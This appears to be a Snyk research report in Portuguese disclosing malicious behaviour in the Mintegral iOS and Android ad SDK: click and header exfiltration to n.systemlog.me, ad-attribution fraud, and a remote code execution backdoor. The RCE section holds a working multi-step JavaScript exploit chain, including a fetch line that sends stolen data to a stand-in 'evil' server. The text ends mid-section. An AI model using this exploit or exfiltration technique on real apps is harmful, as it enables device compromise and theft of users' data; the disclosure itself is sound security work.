Skip to main content

Relatório da pesquisa sobre o SDK malicioso SourMint

Escrito por
Headshot of Kirill Efimov

Kirill Efimov

malicious code, ad fraud

24 de agosto de 2020

0 minutos de leitura

Visão geral

O Mintegral SDK é um SDK popular de publicidade para aplicativos móveis, disponível para iOS e Android. Ele é usado por milhares de aplicativos, que somam mais de um bilhão de downloads por mês. Desenvolvedores de aplicativos usam o SDK para monetizar seus apps com anúncios de terceiros.

A equipe de pesquisa de segurança da Snyk fez duas divulgações importantes sobre o Mintegral SDK. A primeira divulgação, publicada em agosto de 2020, revelou coleta excessiva de dados e sequestro de cliques na versão do SDK para iOS. A segunda divulgação revelou uma porta dos fundos na versão para iOS do SDK, que permite a execução remota de código, além de novas descobertas sobre a distribuição do SDK para Android.

Este artigo tem como objetivo compartilhar os detalhes técnicos da nossa pesquisa e das nossas descobertas, indo além do que foi apresentado nas publicações do blog.

Este relatório está dividido em três seções:

  • Coleta excessiva de dados, incluindo a interceptação e o registro de todas as solicitações HTTP no SDK para iOS — publicado originalmente em 24 de agosto de 2020 —, descreve os recursos de rastreamento de URLs e solicitações na distribuição do Mintegral SDK para iOS.

  • Uma porta dos fundos na distribuição do SDK para iOS permite a execução remota de código — descreve os recursos de execução remota de código do MintegralAdSDK, publicados em 15 de outubro de 2020.

  • Rastreamento de URLs de download no Android — descreve várias descobertas na distribuição do Mintegral SDK para Android.

Coleta excessiva de dados no iOS [agosto de 2020]

Visão geral

Esta parte da pesquisa foi feita com a versão binária do Mintegral SDK para iOS, pois a versão de código aberto ainda não estava disponível para nós em agosto de 2020. A pesquisa foi realizada na versão 6.3.5.0 do SDK (para arquitetura x86), disponível para download no GitHub.

Identificamos que as versões 5.5.1 e posteriores do Mintegral SDK para iOS contêm funcionalidades maliciosas que provocam vazamento de informações. Em termos simples, o SDK espiona os cliques dos usuários em links e a atividade de rede nos aplicativos afetados. A espionagem acontece mesmo quando o desenvolvedor ou a plataforma de mediação de anúncios não ativa o SDK. Além disso, ele tenta ocultar o comportamento malicioso detectando proxies, simuladores e dispositivos com jailbreak.

Swizzling de métodos

O Mintegral SDK usa uma técnica chamada swizzling de métodos para substituir, em tempo de execução, as implementações dos métodos UIApplication openURL e SKStoreProductViewController loadProductWithParameters. Ele também registra uma classe NSURLProtocol personalizada.

Esses hooks são usados para espionar os usuários dos aplicativos, enviando todas as informações sobre solicitações HTTP, URLs abertas e links da App Store em que eles clicam dentro do aplicativo.

Os cabeçalhos e as URLs das solicitações HTTP podem conter dados confidenciais. Combinados ao IDFA (Identifier for Advertisers), esses dados permitem que a Mintegral pratique fraude de atribuição de anúncios.

Fraude de atribuição de anúncios

Para monetizar seus aplicativos, os desenvolvedores costumam instalar plataformas de publicidade. Os anunciantes pagam essas plataformas por cada instalação realizada depois que um usuário clica em um anúncio. É comum que desenvolvedores usem várias plataformas de publicidade em seus aplicativos. Por isso, para determinar qual plataforma deve receber o crédito pela instalação, cada clique é registrado em um provedor de atribuição, uma plataforma de mensuração móvel (MMP).

A figura abaixo mostra como funciona a funcionalidade maliciosa do Mintegral. Neste exemplo, o usuário clicou em um anúncio de “Outra plataforma”. Mas, como o Mintegral consegue interceptar todas as URLs abertas pelo aplicativo, ele pode enviar solicitações adicionais a um provedor de atribuição, fingindo que o clique foi feito em um anúncio próprio. O processo completo funciona assim:

  1. O usuário clica em um link de um anúncio no aplicativo, veiculado por uma rede de anúncios que não é a Mintegral, para instalar um novo aplicativo pela App Store.

  2. O SDK da rede de anúncios envia as informações do clique para a plataforma de back-end.

  3. Depois de interceptar o evento de clique por meio de código injetado nos manipuladores de eventos do iOS com swizzling de métodos, o Mintegral registra os dados do clique no próprio servidor.

  4. A rede de anúncios registra uma notificação de clique no provedor de atribuição.

  5. O Mintegral também registra uma notificação de clique no provedor de atribuição.

Quando o provedor de atribuição tenta associar o evento de instalação às notificações de clique registradas, encontra duas correspondências. Como usa um modelo de atribuição de último toque, atribui a instalação à notificação de clique do Mintegral e rejeita a notificação da outra rede de anúncios.

Diagrama que mostra um aplicativo móvel se conectando à App Store, a outra plataforma, ao provedor de atribuição e à Mintegral por meio de fluxos de dados numerados.

A Snyk trabalhou com um importante provedor de atribuição para confirmar que o Mintegral usa os dados de cliques para gerar notificações falsas. Na investigação, o provedor conseguiu demonstrar que essas notificações falsas estavam sendo geradas e faziam com que cliques em anúncios fossem atribuídos incorretamente ao Mintegral.

Aplicativo de demonstração

Para demonstrar o ataque, configuramos um aplicativo de demonstração. Ele mostra o hook malicioso openURL em ação. Usamos um proxy de depuração para interceptar todo o tráfego de rede.

Para inicializar o aplicativo, usamos o seguinte trecho de código da documentação do Mintegral:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Com o SDK inicializado, abrimos example.com no aplicativo ao clicar em um botão:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Depois de abrir o app, vemos imediatamente algumas solicitações do Mintegral SDK no nosso proxy:

  • GET https://setting.rayjump.com/sdk/customid

  • GET https://setting.rayjump.com/setting

  • POST https://analytics.rayjump.com

Simulador de iPhone exibindo botões de teste de diagnóstico ao lado do Charles Proxy, que mostra a string de consulta de uma solicitação capturada e detalhes do dispositivo

Configurações

A resposta de https://setting.rayjump.com/setting é um objeto JSON com várias opções. A tabela a seguir descreve os campos mais relevantes para a nossa pesquisa.

Campo JSON

Descrição

csw

Ativa ou desativa a funcionalidade antidepuração.

cou

Ativa ou desativa o hook do método openURL.

cdai

URL para onde as informações vazadas são enviadas (*).

cspn

Ative ou desative o hook nos métodos do StoreKit.

cud

Ativa ou desativa o hook no NSURLProtocol.

cudl

Lista de URLs rastreadas pelo NSURLProtocol (**).

* No nosso caso, era LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh= , que, após a decodificação, corresponde a https://n.systemlog.me/log.

** No nosso caso, era kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, que, após a decodificação, corresponde a ["itunes.apple.com","apps.apple.com"].

Decodificação do payload

Depois de clicar no botão que abre example.com, vemos mais duas solicitações. A primeira é uma solicitação GET para http://example.com, como esperado. A segunda é uma solicitação POST para https://n.systemlog.me/log.

Simulador de iPhone exibindo botões de detecção de hooks e configurações de execução, ao lado do Charles Proxy mostrando um registro de solicitação POST

O corpo da solicitação parece estar codificado em base64. Na verdade, porém, não é uma string codificada em base64. O Mintegral SDK implementa sua própria lógica de codificação e decodificação, que pode ser encontrada em +[MTGBase base64DecodeString:] e +[MTGBase base64CleverDecodeString:]. Observe que MTGBase não está exposto nos cabeçalhos públicos do SDK e não foi projetado para ser acessível aos desenvolvedores.

Usamos o seguinte trecho de código para decodificar o payload:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Captura de tela do terminal mostrando dados decodificados do payload e detalhes de solicitações de um app iOS em uma análise de segurança do Sourmint

O payload contém muitos dados, incluindo IDFA, IDFV, versão do sistema operacional, user agent e outros. No entanto, ele também contém um campo chamado “clever”, que, mais uma vez, está codificado. Podemos decodificá-lo usando base64DecodeString:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Como você pode ver, ele contém a URL, o rastreamento de pilha e algumas informações adicionais, como o controlador e o nome do método.

Análise aprofundada

Como mencionamos anteriormente, o Mintegral SDK tem código fechado. Vamos analisar a versão 6.3.5.0 para arquitetura x86.

O binário é um executável Mach-O que contém vários outros binários. O código que nos interessa está em _CXX_CXX_OperationPKTask.o.

Ao analisar a classe, encontramos +[_CXX_CXX_OperationPKTask load], que é executado automaticamente quando a classe é adicionada em tempo de execução. Isso significa que, se o SDK for instalado via CocoaPods, a lógica maliciosa será inicializada independentemente de os desenvolvedores usarem o SDK.

O método load executa uma série de chamadas que nos levam a ___cxxwebk_init_vw. Esse método verifica se a flag de proteção antidepuração está ativada e inicializa os hooks se a flag estiver desativada ou se a depuração estiver desabilitada.

Desmontagem anotada em Objective-C mostrando CSW, chamada de proteção contra depuração, COU e rótulos cspn

A inicialização dos hooks depende da solicitação de configurações mencionada acima. Na tabela a seguir, vemos a relação entre os campos da resposta JSON e a classe MTGSetting:

Campo JSON

Propriedade de MTGSetting

Descrição

csw

cSrtW

Ativa ou desativa a funcionalidade antidepuração.

cou

cOpenURL

Ativa ou desativa o hook do método openURL.

cspn

cPackageName

Ative ou desative o hook nos métodos do StoreKit.

Lógica antidepuração

Captura de tela de código mostrando lógica ant depuração, com anotações em vermelho apontando para /Applications/Cydia.app e /Library/MobileSubstrate/MobileSubstrate.dylib

A função __cxx_cxx_op_isInSuperViewFrame retorna true nos seguintes casos:

  • A plataforma do dispositivo é um “simulador”.

  • Há um depurador conectado (implementado em ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Um dos seguintes arquivos está presente no dispositivo (indício de jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • O proxy está ativado (usando CFNetworkCopySystemProxySettings).

Swizzling do método openURL

A lógica da captura de tela a seguir está implementada no método ___cxxwebkmcouitninapo, chamado por ___cxxwebk_init_vw quando a flag correspondente está ativada.

Editor de código escuro exibindo código de runtime em Objective-C com troca de métodos, invocação de blocos e lógica de retenção de objetos

A captura de tela acima mostra a implementação do swizzling de métodos. Ela executa as seguintes chamadas:

  1. NSSelectorFromString para obter um seletor do método “openURL:”.

  2. NSClassFromString para obter um descritor da classe UIApplication.

  3. class_getInstanceMethod para obter o descritor do método.

  4. method_getImplementation para obter a implementação real do método.

  5. Em seguida, eles definem um bloco de código que chama _____cxxwebkmcouitninapo_block_invoke_2 e, depois, chama o openURL original.

  6. method_setImplementation para substituir o openURL original pelo bloco de código da etapa anterior.

Quase o mesmo acontece com o método openURL:options:completionHandler:, mas antes eles verificam a versão do sistema (o handler foi introduzido pela primeira vez no iOS 10).

Neste ponto, já vimos como o hook foi aplicado. Agora vamos analisar a implementação do próprio hook (_____cxxwebkmcouitninapo_block_invoke_2).

Implementação do hook openURL

Na prática, a implementação está localizada no método ___cxxwebkmcoulsz. Nele, vemos outra verificação antidepuração. Em seguida, ele verifica a flag __mc_notifyInHouse e não faz nada se ela estiver definida como 1.

Isso serve para ignorar todos os URLs de marketing clicados pelo usuário em um anúncio veiculado pelo Mintegral. A captura de tela abaixo mostra a lógica correspondente em +[MTGBase mtgOpenURL:options:completionHandler:]:

Editor de código escuro exibindo código de um método em Objective-C que aciona uma operação openURL.

O próximo trecho de código mostra que eles também serializam os dados do rastreamento de pilha e os vazam no payload enviado para https://n.systemlog.me/log.

Conseguimos definir um breakpoint na chamada +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. A captura de tela seguinte mostra os argumentos da chamada:

Janela do depurador mostrando código assembly, controles de thread e saída do LLDB para um ponto de interrupção em um app iOS no ViewController.
  • A URL aberta (http://example.com?foo=bar&x=y).

  • A classe em que ocorreu o clique (ViewController).

  • O método em que ocorreu o clique (openURLWithOptions:).

  • Informações do rastreamento de pilha.

Outra função interessante é _nsh_id_by_cc, que parece ser responsável por identificar SDKs concorrentes. A captura de tela seguinte mostra a lógica relevante:

Editor de código escuro exibindo código de engenharia reversa em Objective-C, com nomes de frameworks e serviços da Apple.

Voltando a +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:], depois que o payload é codificado por meio de +[MTGBase base64EncodeString:], um novo bloco de código é criado e _dispatch_async é usado para invocá-lo.

Isso leva a uma série de chamadas com transformações adicionais do payload e termina em -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], que faz uma requisição POST para collectDomainUrl de MTGSetting, cujo valor padrão é https://n.systemlog.me/log.

Vídeo que demonstra como um URL privado pode ser exposto.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController é um controlador de visualização que fornece uma página na qual o usuário pode comprar conteúdo na App Store.

O método loadProductWithParameters:completionBlock: carrega uma nova tela de produto para exibição.

Em vez de entrar nos detalhes técnicos da implementação do hook, adicionamos o seguinte trecho de código ao aplicativo de demonstração:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
}

Como resultado, vemos uma requisição POST para https://n.systemlog.me/log com o seguinte payload no campo “clever”:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}]

Como podemos ver, o ID do produto está na requisição. Q.E.D.

Hook de NSURLProtocol

A classe NSURLProtocol permite que um desenvolvedor redefina o funcionamento do sistema de carregamento de URLs da Apple. O SDK da Mintegral registra uma implementação maliciosa de NSURLProtocol, que pode ser configurada remotamente para interceptar quaisquer requisições de saída feitas por um aplicativo e rastrear URLs e cabeçalhos HTTP, inclusive o cabeçalho Authorization.

Para quem desenvolve aplicativos, isso significa que tokens de API, cookies e cabeçalhos de autenticação básica podem ser coletados pela Mintegral.

Para entender como o SDK ativa essa parte do código malicioso, precisamos voltar a ___cxxwebk_init_vw.

Captura de tela escura com código e anotações de engenharia reversa em Objective-C, identificadas como “cud”, “cudl” e “NSURLProtocol hook init”.

A captura de tela acima mostra que a flag cud precisa estar habilitada e que o array cudl não pode estar vazio para ativar o hook.

A captura de tela a seguir mostra parte da função ___cxxwebkterisiuuxx, chamada pelo método acima.

Editor de código escuro exibindo código de runtime em Objective-C para inicializar uma classe e registrar uma subclasse de NSURLProtocol.

O código na função ___cxxwebkterisiuuxx realiza as seguintes ações:

  1. Cria uma classe que herda de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Adiciona uma implementação para canInitWithRequest:, que funciona como um interceptor (class_addMethod).

  3. Chama +[NSURLProtocol registerClass:] para registrar a classe no sistema de carregamento de URLs.

Em nossa pesquisa, adicionamos o seguinte trecho de código para verificar quais dados são coletados pelo código malicioso:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Como resultado, vemos uma requisição POST para https://n.systemlog.me/log com o seguinte payload no campo “clever”:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

Na requisição, podemos ver o URL e o cabeçalho de autorização. Embora o corpo da requisição não esteja incluído, os cabeçalhos muitas vezes contêm dados confidenciais. Esses dados podem até incluir informações de identificação pessoal. Por exemplo, se uma API usa tokens JWT, o e-mail ou o nome de usuário podem estar armazenados dentro do token.

Conclusão

Durante a pesquisa, observamos várias técnicas interessantes usadas pelos desenvolvedores da Mintegral para ocultar o comportamento malicioso do SDK. Como podemos ver, os hooks só são ativados em aplicativos específicos e em regiões específicas, o que ajudou o código malicioso a permanecer ativo por mais de um ano sem chamar atenção.

Sobre a linha do tempo, a primeira versão (5.5.1) do SDK malicioso foi publicada em 17 de julho de 2019. Descobrimos que todas as versões posteriores mantinham a mesma funcionalidade maliciosa.

Muitos aplicativos populares foram afetados pelas atividades maliciosas desse SDK. Esperamos que esta pesquisa, ao esclarecer a situação, leve a uma análise mais rigorosa e a controles de privacidade mais robustos para redes de publicidade.

Execução remota de código (RCE) no iOS [outubro de 2020]

Resumo

Descobrimos que a classe MTGBaseBridgeWebView, usada em todo o SDK para se comunicar com JavaScript, funciona como uma porta dos fundos, permitindo invocar funções arbitrárias a partir do código nativo do aplicativo.

Diagrama que mostra um servidor Mintegral enviando dados privados do usuário e um payload malicioso de banner para um aplicativo de smartphone com código nativo e uma UIWebView incorporada.

Na imagem acima, você pode ver um esquema simplificado da execução remota de código em ação.

Análise de diferenças

Após nossa primeira divulgação pública, a Mintegral anunciou o lançamento de uma versão de código aberto do SDK.

Comparamos a nova versão de código aberto com a versão binária anterior distribuída como cocoapod. Embora não tivéssemos o código-fonte da versão mais antiga, ainda era possível comparar os nomes das classes. Para isso, extraímos os arquivos .o dos binários e comparamos os símbolos com os arquivos .h da versão de código aberto.

Como esperado, o componente malicioso _CXX_CXX_OperationPKTask, descoberto anteriormente, havia sido removido, mas a comparação revelou outra coisa. As seguintes classes chamaram nossa atenção:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Decidimos analisar os binários mais de perto para entender para que esses arquivos eram usados.

Versões afetadas

Todas as versões do MintegralAdSDK até a 6.5.0.0, inclusive. A versão 6.6.0.0, publicada em 10 de setembro de 2020, não contém a funcionalidade de porta dos fundos descrita neste artigo.

Implementação da ponte

Começamos verificando onde a classe MTGRemoteCommandParser era usada e encontramos apenas um local: -(void)handleNativeObject:parameters:, na classe MTGBaseBridgeWebView.

Pela implementação, podemos ver que -(void)handleNativeObject:parameters: usa MTGRemoteCommandParser para analisar o argumento parameters e invoca o método -(void)dispatchCommand:feedback: na classe MTGCommandDispatcher.

À primeira vista, parece que -(void)handleNativeObject:parameters: não é usado, mas não é o caso. Vamos ver como ele pode ser invocado a partir do código JavaScript.

MTGBaseBridgeWebView implementa o método -(void)webView:decidePolicyForNavigationAction:decisionHandler: do protocolo WKNavigationDelegate. Esse método é chamado sempre que ocorre uma navegação na web view. Isso significa que podemos acioná-lo a partir do JavaScript simplesmente chamando location.href=something. Na versão de código aberto do SDK, encontramos uma expressão regular que analisa os URLs das requisições de navegação: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Editor de código com tema escuro exibindo código Objective-C que analisa componentes de URL com uma expressão regular e chama uma função.

-(void)callFunctionWithName:fucId:param: na captura de tela acima simplesmente faz uma chamada a self com o seletor fucName.

Portanto, para chamar -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, precisamos da seguinte linha de código JavaScript: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Vale observar que tudo o que descrevemos acima ainda é válido na versão mais recente do SDK disponível no momento da redação deste artigo, assim como na versão de código aberto. A única exceção é que -(void)handleNativeObject:parameters: foi removido das versões mais recentes.

Invocação remota de métodos

Não vamos descrever toda a implementação de MTGInvocationBoxing e de outras classes. Em vez disso, vamos mostrar como é possível criar código JavaScript malicioso para acionar o método remoto.

A prova de conceito a seguir ataca um aplicativo simples de anotações, que tem uma classe NoteRepository com dois métodos: +(void)save: e +(NSString*)load.

Injetamos o código JavaScript malicioso substituindo o servidor da Mintegral por uma implementação própria. O código-fonte completo deste aplicativo e do servidor está disponível aqui.

O código JavaScript malicioso para este aplicativo é o seguinte:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Valor

Decodificado

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Esse código chama o método +(NSString*)load da classe NoteRepository e envia o resultado para o endpoint demo-evil-server.com/log.

Ele usa as mesmas técnicas de ofuscação descritas na seção anterior. Mas a prova de conceito já inclui código JavaScript para codificação e decodificação (consulte banner.html).

Obtendo execução remota de código (RCE) completa

No exemplo acima, vimos como o SDK pode ser usado para invocar qualquer método estático de uma classe arbitrária. Nesta seção, vamos demonstrar como isso pode ser aproveitado para executar qualquer código nativo.

Para fins de demonstração, vamos mostrar como criar um UIAlertController com a mensagem "PWNED!".

Vamos usar o seguinte código Objective-C como referência:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Precisamos descobrir como criar e manter uma instância de UIAlertController entre chamadas, como obter uma instância compartilhada do aplicativo e como chamar presentViewController:animated:completion: com essa instância.

Etapa 1: salvar uma referência à classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

O MTGRemoteCommandParser oferece suporte a dois tipos de referências a objetos:

  • static - obtém uma referência a um objeto de classe pelo nome.

  • singleton - executa várias etapas:

    • Obtém uma classe pelo nome (MTGSetting, neste exemplo).

    • Executa o método sharedInstance na classe. [MTGSetting sharedInstance]

      em Objective-C.

    • Usa valueForKey: para obter propriedades separadas por pontos. No nosso caso, isso será [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Observe que jsonTitles é apenas uma instância de NSMutableDictionary. No exploit, ela é usada como armazenamento temporário para nossas referências. O MTGRemoteCommandParser oferece suporte aos seguintes tipos de parâmetro:

  • 0 - número.

  • 1 - referência.

  • 2 - string.

  • 4 - nil.

O tipo de referência (1) permite passar uma referência a um objeto como argumento de um método. É importante observar que uniqueIdentifier é analisado exatamente da mesma forma que um uniqueIdentifier de nível superior — portanto, também há suporte ao tipo singleton.

Etapa 2: alocar uma nova instância da classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

Neste caso, toda a mágica acontece em singleton_MTGSetting.jsonTitles.a.alloc.init. Como já sabemos, singleton_MTGSetting.jsonTitles.a nos fornece uma referência à classe UIAlertController. Mas precisamos entender por que [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] funciona. Na documentação de valueForKey:, sabemos que:

O padrão de busca que valueForKey: usa para encontrar o valor correto a ser retornado é descrito em Accessor Search Patterns no Key-Value Coding Programming Guide.

Descobrimos que valueForKey: pode chamar qualquer método pelo nome, desde que não receba argumentos.

Assim, agora podemos criar uma nova instância da classe UIAlertController, que será referenciada pela propriedade b do dicionário jsonTitles.

Etapa 3: definir a mensagem "PWNED!"

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Esta etapa é bem simples: chamamos setMessage: na instância de UIAlertController para definir a mensagem PWNED!.

Etapa 4: salvar uma referência à classe UIApplication

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Esta etapa é parecida com a etapa 1. Precisamos salvar a referência à classe UIApplication em jsonTitles.x.

Etapa 5: exibir o alerta

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Esta etapa parece complicada, mas apenas utiliza várias técnicas das etapas anteriores. Em código Objective-C, ficaria assim:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

Neste ponto, mostramos como exibir um alerta por meio de execução remota de código. Você encontra o payload completo aqui. Para executar as etapas uma a uma, criamos um array de ações e executamos cada ação no callback window.WindVane.onSuccess (ou seja, após a conclusão da ação anterior).

Vídeo que demonstra como o conteúdo da área de transferência pode ser exposto quando o exploit é distribuído por meio de um anúncio malicioso.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Código-fonte do exploit em JavaScript

Já vimos como o SDK da Mintegral permite a execução remota de código nativo por meio de código JavaScript. No entanto, esse código JavaScript é totalmente controlado pela Mintegral. Mas, curiosamente, é possível fazer o mesmo por meio de anúncios interativos criados pelos próprios anunciantes. Os anúncios são páginas da web baseadas em JavaScript.

Em teoria, um anunciante pode direcionar com precisão um grupo específico de usuários ou determinados dispositivos, exibindo um anúncio malicioso que contém o exploit em JavaScript.

Conclusão

Só podemos especular por que a Mintegral incluiu no SDK a capacidade de invocar métodos nativos remotamente, mas, pelos nomes das classes, como MTGCommandDispatcher e MTGRemoteCommand, acreditamos que isso foi intencional. Além disso, a Mintegral removeu o código logo após nossa publicação, embora não soubéssemos disso na época.

Rastreamento de downloads no Android [outubro de 2020]

Visão geral

Nas duas seções anteriores deste artigo de pesquisa, mostramos como a equipe de segurança da Snyk descobriu comportamentos maliciosos no SDK da Mintegral que podem ser explorados em dispositivos iOS, levando a fraude publicitária, vazamento de dados e execução remota de código (RCE). Queríamos investigar mais a distribuição do SDK para Android, tema desta seção.
Em resumo, estas são nossas principais descobertas:

  1. Rastreamento de URIs de download do Google, afetando downloads feitos pelo navegador e por aplicativos, incluindo downloads de arquivos comuns, anexos de e-mail e links do Google Docs.

  2. Rastreamento de todos os downloads de APK, orgânicos ou não.

Esses dados são enviados aos servidores da Mintegral.

Comportamento observado

Ao baixar um link do Google Docs, observamos que o aplicativo enviava as seguintes solicitações para https://n.systemlog.me:

Editor de solicitações HTTP no estilo do Burp Suite, exibindo uma solicitação POST com cabeçalhos e dados de formulário codificados para URL

Este é o mesmo endpoint usado no SDK para iOS para enviar dados ao servidor da Mintegral. O payload é codificado, mas podemos usar a lógica de decodificação presente no binário do SDK para obter o seguinte:

